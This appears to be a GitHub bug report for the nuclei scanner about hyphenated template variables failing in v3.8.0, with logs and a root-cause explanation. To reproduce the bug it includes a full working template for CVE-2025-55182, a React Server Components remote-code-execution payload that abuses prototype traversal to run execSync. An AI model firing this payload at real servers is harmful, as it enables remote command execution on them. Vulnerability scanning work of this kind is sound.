[BUG] Template variables with hyphens (e.g. request-id) fail with "No parameter 'request' found."

### Is there an existing issue for this? - [x] I have searched the existing issues. ### Current Behavior Currently, Templates with hyphenated variable names in the `variables:` section fail all requests in v3.8.0 with: ``` [WRN] [CVE-2025-55182] Could not execute request for http://127.0.0.1: cause="No parameter 'request' found." chain="could not evaluate helper expressions" ``` v3.7.1 handles these templates correctly. ### Expected Behavior Requests should be executed normally. The output should show `[VER] Sent HTTP request to http://...` instead of the warning. This should be the expected behavior: ``` [VER] Started metrics server at localhost:9092 [VER] Saved 12856 templates to metadata cache [INF] Current nuclei version: v3.8.0 (latest) [INF] Current nuclei-templates version: v10.4.3 (latest) [WRN] Scan results upload to cloud is disabled. [INF] New templates added in latest release: 103 [INF] Templates loaded for current scan: 1 [INF] Executing 1 signed templates from projectdiscovery/nuclei-templates [INF] Targets loaded for current scan: 35 [VER] [CVE-2025-55182] Sent HTTP request to http://127.0.0.1 [VER] [CVE-2025-55182] Sent HTTP request to http://127.0.0.2 ``` ### Steps To Reproduce To Reproduce, Use this http template CVE-2025-55182 with any target URL list: ```yaml id: CVE-2025-55182 info: name: React Server Components - Remote Code Execution severity: critical variables: request-id: "{{to_lower(rand_text_alphanumeric(8))}}" nextjs-html: "{{rand_text_alphanumeric(21)}}" num1: "{{rand_int(40000, 44800)}}" num2: "{{rand_int(40000, 44800)}}" result: "{{to_number(num1)*to_number(num2)}}" http: - raw: - | @timeout 15s POST / HTTP/1.1 Host: {{Hostname}} Next-Action: x X-Nextjs-Request-Id: {{request-id}} Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad X-Nextjs-Html-Request-Id: {{nextjs-html}} ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="0" {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('echo $(({{num1}}*{{num2}}))').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}} ------WebKitFormBoundaryx8jO2oVc6SWP3Sad-- ``` Run: ``` nuclei -l urls.txt -t CVE-2025-55182.yaml -v ``` ### Relevant log output ```shell ### Relevant log output [VER] Started metrics server at localhost:9092 [VER] Saved 3 templates to metadata cache [INF] Current nuclei version: v3.8.0 (latest) [INF] Templates loaded for current scan: 1 [INF] Executing 1 signed templates from projectdiscovery/nuclei-templates [INF] Targets loaded for current scan: 35 [WRN] [CVE-2025-55182] Could not execute request for http://127.0.0.1: cause="No parameter 'request' found." chain="could not evaluate helper expressions" [WRN] [CVE-2025-55182] Could not execute request for http://127.0.0.2: cause="No parameter 'request' found." chain="could not evaluate helper expressions" ``` ### Environment ```markdown - OS: Linux - Nuclei: v3.8.0 - Go: 1.26.3 ``` ### Anything else? ### More about bug The bug was introduced by a change in `pkg/protocols/common/expressions/expressions.go` between v3.7.1 and v3.8.0. The `FindExpressions()` call now runs before `replacer.Replace()`, so hyphenated variable names like `request-id` are picked up by the expression scanner. Govaluate misparses `request-id` as `request - id` (subtraction), and since `request` is not in the variables map, evaluation fails with "No parameter 'request' found." Any variable name containing a hyphen will trigger this - `request-id`, `nextjs-html`, `content-type-override`, etc.